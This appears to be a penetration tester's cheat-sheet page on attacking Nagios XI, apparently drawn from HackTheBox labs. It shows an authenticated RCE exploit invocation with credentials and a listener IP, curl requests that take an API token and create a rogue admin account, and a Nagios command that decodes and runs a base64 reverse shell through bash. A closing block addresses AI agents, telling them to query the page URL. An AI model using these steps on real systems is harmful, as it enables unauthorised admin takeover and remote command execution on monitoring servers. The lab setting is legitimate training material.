# Nagios XI

## **Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated)**

<https://www.exploit-db.com/exploits/49422>

Example of exploitation:

```jsx
Intrusionz3r0@htb[/htb]$ python3 nagiosxi-rce.py 'http://monitoring.inlanefreight.local/' nagiosadmin 'oilaKglm7M09@CPL&^lC' 10.10.14.33 1234
```

## API

```bash
#Create token via username and password
curl -X POST 'http://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=4"

#Authentication
curl -X GET 'https://nagios.monitored.htb/nagiosxi/?token=b462f0aa7db06a776873138e22fd5002b4cb3f01'

#Create Admin user
curl -k -X POST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d "username=intrusionz3r0&password=intrusionz3r0&name=intrusionz3r0&email=intrusionz3r0@monitored.htb&auth_level=admin"
```

## Remote Command Executiion via authenticate admin user

Configure → Core config mananger → Commands

Create command:

```bash
bash -c 'echo "base64revshell" | base64 -d | bash'
```

Configure → Core config mananger → Services → add new → Run Check command


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# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/common-applications/nagios-xi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.